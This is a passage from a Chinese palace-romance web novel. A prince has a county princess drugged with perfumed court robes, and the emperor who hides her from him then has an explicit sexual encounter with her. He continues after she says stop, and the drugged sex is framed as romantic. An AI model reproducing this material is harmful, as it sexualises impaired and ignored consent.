岐王也察觉到赵清仪隐隐散发的敌意,不由挑眉,视线落在她鬓边的凤钗上。 有点意思。 岐王收回目光,转身离去,等走远了,低声吩咐亲信,“去查查那个县主,什么来头。” 王盈雪愤愤跺脚,也朝另一个方向走去,看样子,是要去找太皇太后,其他小姐们赶紧跟上,又是哄又是安慰。 赵清仪紧绷的神经松懈下来,提醒张婉琰,“你要小心那个岐王,我感觉……他对你别有所图。” 张婉琰茫然,“可我同他从未有过交集。” “说不准是看上你父亲的权势,想拉拢你们。”赵清仪尽可能往最坏处去猜,涉及家族,张婉琰不得不重视起来,“我知道了,我会避着他的。” “那就好。”又叮嘱张婉琰今日不要独处,开始互相为对方整理脏污的裙摆,先前有人趁乱弄脏了她们的衣裳。 福贵在半道上犹豫片刻,还是上前点头哈腰,“县主,张小姐,二位要不先去偏殿更衣?” 看到来人是他,赵清仪福至心临,多半是楚元河的意思,“那就多些福公公了。” “县主客气。”福贵拱手,示意二人跟上。 正好赵清仪也走累了,两人去到偏殿先歇歇脚,福贵说下去拿新衣裳,让二人稍等。 另一厢,岐王以最快的速度了解了赵清仪的身份来历,他久不在京城,内阁重臣中,他只知张首辅与王次辅,并不知道还有个新提上内阁的赵怀义。 听完亲信回禀的话,岐王陷入沉思,半晌,问起那支凤钗,“区区一个臣子之女,即便得封县主,又如何戴得起宫里娘娘们的凤钗?” “听闻是长公主赏赐。”亲信将打探回来的消息一五一十禀报。 “哦?”岐王心下稍安,还好,只是长公主赏赐的。 他还以为是当今陛下——他的好侄儿赏的,若是侄儿看中的女子,他还真不好动手。 “那依你看,张小姐与宸华县主,哪个更适合岐王妃的位置?” 亲信略一犹豫,不明白殿下为何会把宸华县主考虑进去,那就是个和离妇。 “依属下拙见,还是张小姐更合适。”毕竟张小姐还是未出阁的姑娘,又是张首辅唯一的掌上明珠。 岐王内心却有不同看法,“张家的确势大,但他对本王的侄儿忠心耿耿,要这老家伙屈服,把女儿嫁给本王,恐怕不易,即便真把女儿嫁了,也很难改变他的立场。” 但赵怀义就不同了,赵怀义出了名的疼爱女儿,当初为女儿,愿意帮扶李彻那个不成气候的东西,若他女儿嫁给自己,想必赵怀义也会倾尽所有帮扶岐王府。 赵怀义资历不如其他两位阁老,但胜在前途无量,还有孟家这个皇商作为依靠,可谓有权有钱,财势雄厚。 自从削藩过后,岐王手头是越来越紧了。 亲信敏锐捕捉到他的意思,略一思忖,“或许……殿下也可以不做选择。” 两个都想要,那就两个都要了。 岐王会心一笑,他正有此意。 赵清仪和离过,做他的王妃不够资格,但许个侧妃之位还是绰绰有余的,“就照原计划进行,把目标换成宸华县主。” 不管三七*二十一,事情先办了,事后给这和离妇一个侧妃之位,足以安抚赵家,算起来,赵清仪是高嫁了。 — 赵清仪在偏殿里,毫无预兆的打了个喷嚏,心里抱怨福贵怎么还没来,怕着凉,只能先披上弄脏的外衫。 张婉琰也等得焦灼,想出去催催。 赵清仪拉住她,“还是别乱走了,你一个人,我也不放心。” 话音落,福贵姗姗来迟,手里只有一套衣裙,“实在抱歉,宫中女眷少,奴婢找遍了尚衣局,暂且只找到这一身。”说罢,不着痕迹地冲赵清仪使眼色。 赵清仪顿时了然,哪里是衣裳少了,是有意让她去见楚元河。 不过眼下看着张婉琰要紧,“我就不换了,只脏了一点,不打紧,你先换上。” 福贵的脸皱了一下,赵清仪默默摇头,情况特殊,改日她再向楚元河解释。 福贵只得悻悻退下。 楚元河得知自己被拒绝了,也不恼,稍加思索便猜到赵清仪的顾虑,应该是不放心张婉琰一个人。 也是,总不能她自己去找男人风花雪月,把自己的闺中好友丢下,索性让派人去请长公主,让长公主带着张婉琰不就成了。 偏殿里,张婉琰更衣过后,重新梳洗一番,长公主就派人召见张婉琰。 张婉琰诧异,只召见她一个?不带上清仪姐姐吗? 赵清仪抿唇,她想到了楚元河,应该是他刻意让长公主过来支走张婉琰的,不过,在长公主身边,总会安全一些,谅岐王也不敢把手伸到长公主那里。 “去吧去吧,莫让长公主久等。” “好吧。”张婉琰只能作罢。 她走了,赵清仪就在偏殿里静静等候,等来的却不是福贵,而是个面生的小宫女,手里捧着一套银红色宫装,“县主,这是福贵公公派奴婢给您送来的,奴婢伺候您更衣?” 赵清仪没拒绝,宫装样式繁琐,里三层外三层,每一层都是波光粼粼的月影纱,裙面还熏了香,闻着倒是沁人心脾。 就是…… 赵清仪低头,宫女正好为她系上腰带,用力一勒,她差点喘不过气,高耸的胸脯随着她的呼吸一颤。 她有自知之明,从小她就生得比旁人丰腴些,未了不失端庄,平日她总将自己曲线藏在宽大的长衫下,今日是彻底藏不住了。 这什么破衣服,太不含蓄,早知道就不换了。 可毕竟是楚元河的意思,或许是……他喜欢呢? 赵清仪露在外头的雪肤迅速布满了胭脂红。 她是妥协了,可又忍不住腹诽,楚元河真不要脸,刻意给她换这种衣服,难怪先前不敢让她当着张婉琰的面更衣,原来他自己也知晓这衣裳见不得人。 宫女为她系好腰带,示意她跟上自己。 赵清仪临走时,对着铜镜端详两眼,勉强得体,便施施然跟上宫女的脚步,朝东侧的阁楼走去。 赵清仪前脚离开偏殿,福贵后脚赶来,发现殿内除了一身换下的县主朝服,不见半个人影,登时心里咯噔一下。 大事不妙,谁冒充他给县主送衣裳,还把人带走了?! 赵清仪还沉浸在即将见到楚元河的欢喜中,也说不上来为何欢喜,就是想到他,嘴角便会不自觉勾起,迫不及待想见到对方。 便没注意到自己跟着宫女已经越走越偏了,待拐过一处长廊,她才渐渐察觉身上热得不同寻常。 赵清仪四下打量,秀美微蹙,“不是长公主要见我吗?这是去哪儿?” 前头带路的宫女脚步一顿,“哦,是……是长公主,长公主就在前面不远了。” 她不是楚元河派来的人! 赵清仪骇然,若是楚元河的人,肯定能识破自己的谎言。 赵清仪放慢脚步,身子却越来越热,热到让人头晕目眩,这情形,和上辈子被罗氏下药一模一样。 她莫名想起张婉琰的遭遇,突然意识到有什么东西因为她的出现改变了,原本要算计张婉琰的人,反过来算计她了。 原来前世张婉琰在花神宴上的丑闻,是被人下药而来,下了药,之后就是……遇到岐王。 大意了,万万没想到岐王会转换目标,盯上自己。 若不自救,等着她的将是万丈深渊。 赵清仪当机立断,调转方向,加快脚步。 宫女走了一段路,听到相反的脚步声赶紧追上去,“县主?县主你要去哪儿!你走错了!” 宫女的呼喊声越来越近,赵清仪的双足却越发沉重,每走一步都备受煎熬。 怎么办?她该怎么办? 从身体里涌出的热意快要吞没她的意识,赵清仪用力咬着唇瓣,尝到鲜血的腥甜之气。 这里距离御花园有段距离,以她的身体情况,怕是支撑不下去,当务之急,先找个安全的地方躲起来再说,一定不能落入岐王手里。 怕什么来什么,原本在她后面穷追不舍的宫女停下了,取而代之是男人阴冷的声音,“县主人呢?” 宫女哆哆嗦嗦,“跑、跑了……” 男人冷哼一声,循着宫女所指的方向追了上去。 男人的脚程不可与女子相提并论,快了不止一星半点。 岐王看到她了,就在自己眼前,百步之外,倩影婀娜,跌跌撞撞,光是一个背影,足以令他心神摇曳。 若不是个二嫁之身,岐王当真愿意娶她为妃,光是这身段姿色就非寻常闺秀可比,他是有过女人的,当然更懂什么样的女子滋味更妙。 因她逃跑而生出的火气压了下去,岐王笑得阴邪,追逐的脚步时快时慢,像是刻意捉弄。 赵清仪脚步蹒跚,每当她甩开对方一段距离后,岐王眨眼又追上,每次追上来,她就觉得后脖颈一阵发凉。 像是毒蛇吐出的舌信子舔舐一般,让人毛骨悚然,又恶心至极。 赵清仪不知道自己还可以挣扎多久,她凭着最后一丝理智,勉强支撑身子,摇摇晃晃朝前跑。 她不甘心就这样倒下。 明明她都这么努力了,她摆脱了李彻,摆脱了李家,好不容易她才看到前路闪着一点光亮,转眼,又要被人拖进深渊。 若被岐王得手,她估计也得落个自尽的下场。 赵清仪闷头往前跑,再次拐过廊角,一只大手从门后穿出,捂住她的口鼻迅速往里一带,门又瞬间关上,严丝合缝。 岐王追上来,发现人不见了,阴鸷的目光扫过一扇扇紧闭的门。 躲起来了? 可又能躲到几时,迟早被他瓮中捉鳖。 岐王抬手要去推门,一阵哗啦啦的声响迅速包围住整座偏殿。 禁军副统领林锋从人群中走出,面无表情道,“岐王殿下,宫中出现刺客,卑职奉命包围此地,还请岐王殿下速速离开!” 刺客?青天白日怎么会有刺客? 当他是傻子吗? 岐王缓缓转过身,负手而立,“本王一直在此地逗留,未曾见过什么刺客,林副统领还是到别处搜查吧。” “请岐王殿下速速离开!”林锋还是那张木头脸。 岐王恼了,好啊,区区一个禁军副统领也敢和他叫板,“本王说了,这里没有刺客,你若失职,将真正的刺客放跑,才是罪大恶极!” “卑职只听陛下吩咐,陛下说这里有刺客,那就是有刺客。”林锋面不改色,甚至抽出了佩剑,一副他再不走,就要格杀勿论的架势。 岐王一口恶气差点喘不上来,若非他被削藩,手中权力日渐稀薄,他定要这不知死活的林锋好看! “既如此,本王走便是了。”岐王甩袖冷哼,心不甘情不愿地走了。 他几乎可以确定,赵清仪就躲在门后,禁军又恰在此时出现,只能说明,陛下的人一直在关注赵清仪的行踪。 那个和离妇,居然是陛下的女人。 想通这点,岐王心底隐隐后怕,怕的是自己差点动了皇帝的女人,可另一面,他又恨,恨楚元河这个小皇帝对他这位皇叔没有半分敬重,恨自己如今只能在对方手底下苟且偷生。 如今他想要一个女人,还被小皇帝抢了去。 岐王走后,林锋冷脸呵斥禁军远远包围此处,附近闲杂人等一应驱逐,而先前骗了赵清仪的那名宫女也被禁军揪出,当场处死。 偏殿朝西,背光而建,应是后宫末尾嫔妃的居所,赵清仪被捂住口鼻带进去后,瞬间陷入一片灰蒙。 “是我。”楚元河附在她耳后,表明身份。 赵清仪扭动挣扎的动作一顿,泪水瞬间如开了闸的洪水倾泻而出,嫩葱般的细指覆上男人的眉眼,用指腹描摹他的五官。 的确是他,真的是他。 “你怎么才来?”一开口,就带着不可抑制的哭腔。 逃跑的过程中,赵清仪脑中闪过无数念头,她甚至都做好最坏的打算,大不了和岐王拼命,同归于尽。 直到此刻,楚元河出现了,她勉力维持的坚硬外壳骤然破碎,露出她深藏的柔弱与不安。 楚元河从未见她崩溃大哭的模样,一把将她抱在怀里安抚,没一会儿林锋就带着禁军围住偏殿。 赵清仪听到禁军口口声声要抓刺客,信以为真,拽着楚元河走到窗下,“快、快跑……有刺客……” 楚元河抵着紧闭的窗哭笑不得,“你慌什么,我又不是刺客。” 赵清仪不是这个意思,而是刺客意味着危险,她已经自顾不暇了,万一刺客闯进来拿她们开刀怎么办。 “我们……快走……” 她的情况不太好,脸红气喘,昏昏沉沉,剩下的只有本能,一举一动,暗香盈室。 楚元河从她身上嗅出了不同寻常,那股香气侵入鼻端,也勾得他腹中一热。 糟糕。 一滴汗顺着他的额角滑落,他屏住呼吸,“这衣裳不对,熏的香有问题,快解了!” 第56章 第56章“方才弄得不舒坦?”…… 紧束的腰封被他用力撕扯,赵清仪猝不及防,柔弱无骨的娇躯径直扑向他怀里。 腰封委地,衣襟散乱,早已沁入肌理的异香愈发甜腻浓烈。 赵清仪本能感到羞耻,她知道楚元河是在救她,这身衣裳有问题,可即便如此,她也不能这样袒露人前。 她慌忙拢起衣襟,气息急促不稳,“先、先走……” 她推他,催促他快些走,可掌心一触及对方的身体,那坚实的触感便让她浑身一软,非但没能推开,反而不受控制地靠了上去,细指蜷起,死死攥住对方肩头。 楚元河只能环住她,“我去叫太医。”他将人打横抱起,快步送至偏殿软榻。 异香过后,赵清仪嗅到他身上清冽的松香气,如同溺水者抓住浮木,不由自主循着那丝凉意,将滚烫的脸颊埋入他宽阔的胸膛。 楚元河试着将她放下,她却像藤蔓般缠绕住他的脖颈,不肯撒手,“你别走……” 体内热浪翻涌,她不受控制地颤抖着。 太难受了,从未有过的煎熬,她觉得,她是等不到太医了。 “楚……楚天霸……”她低唤,希望他能留下。 楚元河目力极佳,即便殿内昏暗,他依旧看清她酡红如醉的面颊,含烟笼雾的杏眸,如此惹人遐想的她,口中却唤着另一个男人的名字。 楚元河深觉他是搬起石头砸了自己的脚,忍不住低叹一声,“我叫楚元河,你记住了?” “楚……元河……” 赵清仪意识有些模糊,下意识低喃,重复这个陌生的名字。 那娇娇颤颤的嗓音钻入耳中,楚元河只觉骨头缝里都透着酥麻,无比受用,恨不能让她多唤几声,可理智告诉他不能再这样,得尽快叫太医,否则,天知道会发生什么。 他心一横,强硬的力道将她整个人塞进被褥里,随后燃起殿内的烛火,以免她看不清磕碰受伤,做完这些,便隔着殿门吩咐禁军去传廖院判。 再回到殿内时,赵清仪已然掀开被褥滚落,跌在脚踏上瑟缩着,繁琐的宫装彻底散开,七零八落地挂在她莹润的臂膀间,摇摇欲坠。 楚元河心头一紧,疾步上前,掌着她的白皙的肩,“太医即刻就到,再忍忍……” 粗糙的掌心触及她细腻如脂的肌肤,激起一阵更剧烈的战栗。 赵清仪突然就想哭。 她颤巍巍地伸出手,带着惊惧,又夹杂着一丝说不清道不明的期盼,覆上他的唇。 她望着近在咫尺的俊脸,纷乱的脑海闪过一个念头。 为何要等?为何要忍? “吻我……”她低低的哭了,跪在脚踏上,攥住男人的衣襟用力下拽。 楚元河不得不俯身,离她更近了,近得能看清她眼尾的绯红与泪光,近得能嗅到她身体里散发的暖香,更为致命。 他定定望进她眼中,分明看到对方眸底的渴求,他却匆忙扭过头去。 “地上凉,我扶你起来。”声音已哑得不成样子。 赵清仪顿觉不可思议,他竟拒绝了她? 还是在她最需要的时候,他……拒绝了她? 楚元河扶着她慢慢站起。 被他触碰的肌肤愈发滚烫,焦灼的麻痒感仿佛要融进他的掌心,也融进她的骨血里。 她又一次不由自主地向前靠拢,脚下却是一空,踩脱了脚踏,整个人顺势跌入他怀里,这次她不会放手了,玉臂自他腋下穿过,用力环住他的肩背。 楚元河生平第一次真切体会到,何为投怀送抱的滋味,可…… 可她分明是药力催发下的本能索取。 非她心甘情愿。 他深吸口气,试图扣住她的双臂分开。 赵清仪却抱得更紧,细指在他紧绷的后背上无意识的摩挲,感受着隆起的肩胛骨,如此强悍的力量,此刻竟敌不过她娇弱的蛮横。 “你不愿吻我,也不抱我了……”她啜泣着埋怨。 楚元河闭上眼,强压下翻腾的气血,恨不得立刻将下药的岐王千刀万剐了,这药性何其霸道,才会让赵清仪理智全无。 他最知她的娇羞与矜持。 “看着我。”楚元河声音嘶哑,捧起她的滚烫的小脸。 她到底是否清楚面前的人是谁?又知不知道自己在做什么?还是…… 她根本不在意眼前的人是谁,只是想要而已。 “看看我是谁。”楚元河试着唤回她一丝清明,“你看清楚了再说。” 赵清仪微微蹙眉,只觉他啰嗦得紧。 懒得理会,她的手从他肩胛骨处缓缓上移,扣住他的脖颈,迫使他低下头。 还差一些,她惦记脚尖,献上了自己唇,也省得他再多话。 与初次强吻时不同,楚元河明显感觉这一次的她更热烈,更急切,且毫无章法,可他偏偏被她降服,面对她笨拙的亲吻毫无招架之力。 唇瓣相触的刹那,二人调换了位置,她将他推倒进软榻覆了上去,结结实实,严丝合缝。 楚元河陷进被褥里,滚动的喉结忍不住溢出一声闷哼,似压抑又似畅快。 赵清仪占据上风,俯身,红唇掠过他的下颌,落在他耳垂,呵气如兰。 小衣下的玲珑紧贴着他坚实的胸膛,柔软又散了形,如水一般覆开。 楚元河侧过脸,纵容她肆意亲吻自己的颈窝,往日含笑不羁的桃花眼,逐渐变得深沉晦涩。 只须微微垂下视线,便可将满园春色尽收眼底。 不难想象,那该是如何的绵软,如花如云,绮丽艳冶。 赵清仪浑然不觉他逐渐深入的探究目光,红唇微张,轻轻咬住他的脖颈上隆起的喉结。 命门骤然被噙,楚元河十指猛的攥住身下褥子,“唔……般般……” 他动情地喘着,却又什么都做不了,女人张开锋利的细齿,刮过他颈上的皮肉。 他倒吸一口凉气,浑身肌肉瞬间紧绷如铁。 赵清仪欺着他,对他的变化了如指掌,染着薄红的细指顺着他青筋凸.起脖颈轻抚。 楚元河闭眼闷哼,沉重灼热的呼吸喷洒在她耳畔,克制又性.感。 赵清仪听着他动听的喟叹,莫名生出一丝虚荣的满足,仿佛掌握了他的一切。 他的生与死,只在她的一念之间。 她的舌尖重新回到他颈上缠绕,这是他教过她的本事,如今学以致用罢了。 她埋头,细密的吻拱开他的领口,露出他壁垒分明的胸膛。 一阵香风侵入他的胸膛,与他体内汹涌澎湃的热浪相冲,难受至极,不知不觉间,他也吸入了不少。 “般般……”楚元河抵着她如云的发鬓,略抬起头颅,朝怀中的女人看去。 他低估了她的胆量,她高估了他的忍耐。 “好了,我们等太医。” 他抬臂揽过她柔滑的肩,艰难分开二人相贴的躯体,可彼此胶着已久,情热如沸,恨不能融为一体,强行剥离,势必招来血肉淋漓的疼痛煎熬。 赵清仪被他拨到一旁,当下便哭了,她又哪里做的不对吗? 她抓住他即将抽离的衣袖,他是她的外室,是她的人,解毒自然也该是他的义务。 他凭什么拒绝? 他不是心悦她么? 那就趁现在啊,得到她,事后她也不会怪他的,毕竟形势所迫,她是通情达理的人,不会因此一哭二闹三上吊。 如此良机,他到底在等什么? 太医一把年纪了,唤太医做什么? “楚元河……你……”赵清仪又急又气,脱口而出,“你怎么……中看不中用了?” 楚元河如遭雷击。 她说什么?他中看不中用? 那小嘴仍是喋喋不休,“你……你是不是不行?所以……所以你要召太医……” 楚元河脸都黑了。 没有哪个男人能忍受心爱的女子如此挑衅羞辱。 眼看赵清仪又要缠上来,他眸色骤暗,反客为主将她压倒,几乎是从牙缝里挤出话来,“你真是没良心,我怕吓坏你,你倒好,说我不中用?” 说话间,他一手枕着她的细颈,一手捉住她的脚踝,虎口用力收紧。 赵清仪疼得哼出声来,她自幼娇养,一身皮肉养得欺霜赛雪,细嫩如玉,被他这一捏,白皙脚踝瞬间泛起一圈红痕。 楚元河狠狠堵住她的唇,将她破碎的细吟吞入腹中。 赵清仪呜咽着,情不自禁张开双臂抱住他的宽肩,臂弯上欲坠不坠的纱衣彻底滑落。 滚烫黏糊的吻几乎落遍,留下点点殷红的印记。 赵清仪被他吻得神思恍惚,热,香气也散发得愈加浓烈,充斥在二人鼻尖,此刻耽于情海的,又何止她一人。 楚元河不想抵抗了,闻了就闻了吧,从她说出“不中用”三字起,男人的尊严便彻底碾碎了他的理智,他要她后悔此刻的不知死活。 他专注地亲吻着她,攥着她脚踝的大手渐渐松开,试着探索。 赵清仪全然沉溺其中,她必须承认,楚元河是不一样的。 他的气息,他的温度,他的触碰,一切都令她目眩神迷,情难自抑。 灼痛骤然侵袭,才让她从飘飘然的云端惊醒,抱着他肩头的素手用力一掐,指尖险些隔着锦衣嵌入他的紧绷的肌肉里。 她躬起身子,婉转低沉的细吟陡然嘹亮。 楚元河绷着脸,面上再无戏谑的笑意,只有严肃的克制。 “忍一忍……很快就好。”声音喑哑,又冷又沉。 赵清仪太弱了,驾驭不了那股香气在她体内催发的药性,如今唯有此法可为她纾解一二。 赵清仪吓坏了,陌生的侵袭让她又惊又怕。 她踢踹,试图挣脱他的手,“楚元河……你、你拿开……” 她泪眼朦胧看他,摇曳的烛火间,男人沉着脸,面无表情,脖子发红,只有胳膊在小幅度摆动。 赵清仪哭得上气不接下气,勒令他停下。 他从前说过的,只要她喊停就会停的。 可他骗人。 在她面前伪装极好的恶兽此刻终于露出獠牙,不会再听主人的任何一声命令。 赵清仪哭着喊着,肢体却背叛了她的意志,不由自主的迎合。 渐渐的,那惊惧消散了,另一种陌生,却让她快意翻涌的情愫席卷了所有感官。 她的哭音也变了调,依偎在他怀中沉.沦。 楚元河始终分神关注着她的感受,看她那股难受的劲儿一点点消磨下去,如同含羞艳娇怯的牡丹,渐渐在他指尖摇曳,盛放出惊心动魄的艳丽。 一滴冷汗顺着男人的坚毅的下颌滑落,没入她的心口,从起伏的雪岭滑过。 楚元河盯着那滴冷汗,神色发僵。 她是痛快了,他还痛苦着,不得不做回不中用的东西。 赵清仪哭得厉害,比那嫣红的牡丹更添三分娇美脆弱。 如此情态下的她,他又怎能趁人之危,如今已是冒犯。 他闭了闭眼,任那高山流水泛起涟漪,蜿蜒而下,又如攀上顶峰。 赵清仪脑中一片空白,失神的哭声穿透殿门。 廖院判火急火燎赶来,刚巧在外头听见这声动静,吓得扑通跪地,官帽都歪了。 禁军副统领林锋亦是脸色骤变,赶紧提着廖院判的后脖颈,将人拎出老远,其余禁军默契十足地跟上,包围的圆扩大数倍,确保耳根清净,什么也听不见。 廖院判哆哆嗦嗦,向林锋请示,“这这这……还用的着微臣吗?” 林锋略一沉吟,殿内都那般光景了,应当是用不着的,此时太医过去,反倒搅了主子好事。 “不必了,今日之事,不许传扬出去,若有一字泄露……” 廖院判冷汗涔涔,连忙应是,抹着额汗快步退下,走时又忍不住揣测,也不知是哪位贵女得此荣幸,改明儿,后宫就要有女主子了吧? 会是谁呢?王家小姐,还是张家小姐?又或是…… 廖院判想到曾有过几面之缘的宸华县主,再想想陛下不惜伪装身份也要接近她…… 唔,廖院判觉得自己发现了真相。 殿内,楚元河还在苦海中沉浮,太医怎么还不来,他快坚持不住了! 他一手维持住抱赵清仪的动作,另一手慢条斯理在她裙摆上擦拭。 赵清仪已经缓过来了,懒散无力地歪着,鬓发散乱,脸色潮.红,眼尾还有未干的泪痕,像是雨打的海棠楚楚可怜。 看清他的动作,以及他玄色袖摆上明显濡湿的深色痕迹,她恨不得原地消失,死了算了。 他居然…… 赵清仪羞愧难当,小心翼翼望向楚元河。 他就跟没事人一样,在她身上擦干了手,哑声问,“这会儿好些了吗?” 赵清仪紧张地脚趾都蜷缩起来,刚恢复一丝清明的脑袋又陷入了新一轮的混沌,她难耐地瑟缩着,拢起散乱的裙摆。 “好、好多了……”她言不由衷地推开楚元河,扯过被褥挡在身前。 楚元河眼神一暗,并未言语,也未纠缠。 殿内陷入一片诡异的寂静,两人都没说话,赵清仪等不到他下一步动作,索性往软榻另一头挪去。 她抱着被褥,半靠在软榻一侧,极力忍耐再度汹涌的湿热,她也不知怎么回事,明明都好了的,突然又不受控制…… 藏在裙摆的双腿开始颤抖,她拼命压着,不让对方觉出异常。 先前都那样了,他也没有动她,可见他对自己的喜欢或许只是留于表面,不然她想不到什么理由,能让他抵死不从。 既然他不愿,那便算了,她还强求什么。 实在不成,那也是保命要紧,清白……反倒是其次了。 楚元河并不知她在想什么,僵在另一头,“……般般?” 她看着脸色很不好。 “怎么了?”他焦灼不已,“又难受?” 他不问还好,一问,赵清仪便觉羞耻如排山倒海般袭来,她并非纵情之人,先前种种,只是中了药,无可奈何,顺势而为,毕竟她不排斥楚元河。 当他只个解药就好了,赵清仪都安慰好自己了,只等水到渠成。 可他的拒绝,让她此刻的无措煎熬显得格外难堪,似乎这一切成了她的一厢情愿。 况且,方才他勉强为她疏解过了,自己若再开口索求,岂不是把她高高在上的贵女体面扔在地上。 回头还不知他要如何嘲笑自己。 楚元河哪儿知她心中这许多弯绕,他亦有他的顾虑。 但看她脸色不好,还是靠了过去,“要我再帮你……” “不用!”赵清仪冷声拒绝,语气里带着赌气的怨怼,“死不了的,你可以走了。” 还“帮”?说得这般勉强。 “我怎么能放心你一个人……”楚元河想触碰她的裙摆。 赵清仪怒了,“我说了不用你!” 许是身子难捱,又或许是她奇怪的自尊作祟,喊出来的瞬间,泪水不争气地滚落。 楚元河愣在原地,不知如何是好,怎么突然就哭了? 这么难受吗? ……也是,他也难受,更遑论赵清仪只是个手无缚鸡之力的弱女子,恐怕更难捱。 他薄唇紧抿,思索她拒绝翻脸的理由,“是我方才……弄得不舒坦?” 他觉得自己还是掌握了分寸的,仅在边缘试探,并未伤及内里。 赵清仪不想搭理他,扭过身去强忍着,散乱的青丝铺洒在她白皙的后背上,与汗湿的肌肤和小衣细带交缠,别样的旖旎。 楚元河极力压抑的恶念呼之欲出,极限了,他不想忍了。 他侧躺在榻上,灼热动人的吐息,在寂静中格外清晰。 赵清仪也在忍着,猝然听到这动静,她耳根通红,酸麻的感觉笼罩全身。 他……是不是闻到她衣裳上的熏香,也…… 赵清仪咬着唇,忍了又忍,到底按捺不住,慢慢转过头去。 就见他仰躺着,半截身子靠着床柱,一只长腿自然舒展,另一只膝盖微曲,大喇喇的姿态坐着,单手随意摆弄着,气焰嚣张。 赵清仪脑子轰的一下,脸瞬间红得滴血。 他这是在干什么! 这大概是她此生见过最震撼的画面,理智告诉她,她应该挡住眼睛转过头去,可身体却像被定住,她就僵在那里,一动不动。 楚元河长长吁一口浊气,兴许是打破了底线,开始无所顾忌了,还在拨弄着,含情的桃花眼直勾勾迎上她的目光。 不再是从前的戏谑肆意,取而代之是浑浊的郁色,毫不掩饰对她的渴求,俊美似妖的容颜布满红晕细汗。 赵清仪不知所措,惊骇之余,暖流涌动,让她更加无地自容。 她想逃,被他按住了手腕,“躲什么?” 他强行将人拽回来,从软榻的另一头,拽回自己怀里。 赵清仪趴在他心口,觉得自己先前的念头还是草率了,现在才是真的……死了算了。 “你快……收起来……”她声音都在抖。 男人周身散发出诡谲的邪气,音色喑哑,“你舒坦了,就不管我?” 什么意思? 赵清仪宕机了,半晌反应过来,是要她…… 对方已然握住她发汗的小手,代替自己,“我帮了你,你也帮帮我……好吗?” 滚烫潮湿的掌心抚上她绯红的脸颊,他低头,薄唇擦过她耳廓,用只有她们两人才能听到的气音低语。 热度惊人。 赵清仪紧紧闭上眼。 “和之前一样,很简单的,你这般聪慧,一学就会了……”魔音入耳,她听得直摇头。 这种时候,她并不想被夸。 这次她的真不行,浓重的哭腔哀求,“还是叫、叫太医……太医帮你……” 楚元河唇边的笑意凝住,呼吸因张痛与气愤而变得沉重。 大掌裹住她的手,引着她慢慢适应节奏,亦是不允许拒绝的强硬,“般般,你就行行好吧……” “只有你才能帮我。”他亲吻着她的唇角,可怜的卖弄,“与你一样难受,你该感同身受才是……” 赵清仪确实难受,可如今不再是脸面自尊的问题了,而是她的羞耻心正被眼前的男人按在地上,反复摩.擦。 她已经无法直视这一切。 另一只手也被.操控着,合力勉强圈住,细嫩的掌心几乎要烫出一层皮来。 楚元河扣住她的后脑勺,将她通红的脸印在胸膛上,在她看不见的地方,肆意释放他的野蛮。 横竖到了这个地步,他还有什么伪装的必要? 声声快意在偏殿中回荡,将气氛搅和得格外黏稠。 药力再度翻涌,赵清仪又哭了,她想不通,既然双方都难受,为什么不直接一点。 楚元河是专门闹这一出,要看她羞愤欲死的吧。 一念及此,她气不过朝他施压。 头顶的骤然传来一声沙哑的低吼,疼痛与极致并行。 体会过这其中滋味,他便一发不可收拾,反而覆住她的柔夷小手,更加焦躁肆意行事。 然而终究是杯水车薪,无济于事。 那异香还是太过霸道。 赵清仪也从一开始的羞愤,再度被情愫支配,还是过了眼前这关要紧。 管他怎么想的。 赵清仪重新夺回肢体的掌控权,按住他的肩,努力用镇定的声音,“……别白费功夫了。” 她需要解药,楚元河是她此刻唯一的,最佳选择。 第57章 第57章泛红的指尖扣住浴桶边缘…… 只是坦诚相见易,合二为一却难,先前她只顾羞,临到紧要关头,才发现面前简直是座不可逾越的险峰。 她容不下,攀不过。 她低着头,移开视线,慢慢下来。 楚元河扶着她的腰肢,已然蓄势,却发觉她萌生了退意。 “……怎么了?”他气喘得厉害。 赵清仪不知该如何解释这份临阵的怯懦,两*世为人,她并非全然懵懂,光目测,便觉凶险万分。 比起那未知的,必然的疼痛,她觉得此刻的煎熬……还、还是可以忍的。 她灰溜溜地准备爬开。 楚元河却摁住她的细腕,沉吟片刻,声音低沉地可怕,“……你后悔?” 他的眸色深沉如墨,翻涌着难以压抑的狂澜。 “不、不是……” 赵清仪莫名心惊,今日的楚元河于她而言,还是太陌生了,强势野蛮,不讲道理。 似乎她敢退却,他就会扑上来将她撕咬粉碎,根本没有后悔的余地。 赵清仪死死咬着唇,找了个体面的借口,“是……我不太会。” 楚元河一愣。 大概也没想到,毕竟她有过一段婚姻,至于是否圆过房,他从未过问,私心里,他不在意,也不想知道。 可是她跟他说,她不会…… 位置再次对调,他的掌心在她腰腹处慢慢安抚,他语气缓和,格外温柔,“那你放轻松……” “你会?”赵清仪下意识问出口,旋即又觉问得太傻。 他可是平西郡王,即便尚未娶妻,但长这么大,身边总有几个伺候晓事的美婢吧。 她又何必多此一问,徒添烦心。 楚元河却怕说了实话,会让对方笑话自己不中用,遂反问,“这个……须要教了才会?” 他自出生起就被父皇母后寄予厚望,身边并无莺莺燕燕扰他心智,后来十六岁登基称帝,便在西北征战,一心只为开疆拓土,倒没功夫想女人。 直至遇见她,才萌生了娶妻的念头,只可惜晚了一步,以至于后来的几年,想到她难受时,他都是靠自己硬熬…… 但这些若叫赵清仪知晓,怕是会招来嫌恶,毕竟那时的她已经嫁给李彻,他却还在午夜梦回时,觊觎她,亵.渎她…… 彼此藏了心事,谁也不敢多言。 楚元河放缓节奏,先吻她的面颊,极尽轻柔与缱绻,掌心打着圈,慢慢团住雪岭。 那一刻,赵清仪仿佛被人扼住了咽喉,险些喘不上气,眼睫上悬挂的泪珠又一次滚落。 她紧张地扶着他的肩,指尖几乎要嵌进男人虬结的肌肉里,随着细而密的亲吻落下,渐渐的也不难受了,她慢慢放空思绪,倒也尝出了些许舒坦。 融入瞬间,疼痛伴随着难以言喻的喜悦冲破她的心防。 她微睁着眼,看着半空中轻晃的足尖,随着他的冲锋呜咽颤乱。 …… 傍晚,西斜的金色透过朦胧的窗纸散入偏殿。 赵清仪艰难地从软榻上起来,玉足踩在脚踏上差点没稳住一头栽下去,凭着短暂休整后恢复的一点力气,堪堪稳住。 赵清仪屏息凝神,扶着颤抖的腰慢慢挪动自己的腿,如云的乌发从耳后垂落,遮住身前无边春色。 鬓边早已湿漉,分不清是汗水还是泪水,她抱着胳膊,视线在殿内逡巡,那身宫装早被撕扯成碎片,鞋袜也不知蹬去了何处,只剩一件绯色小衣歪歪斜斜挂在床头,勉强能穿。 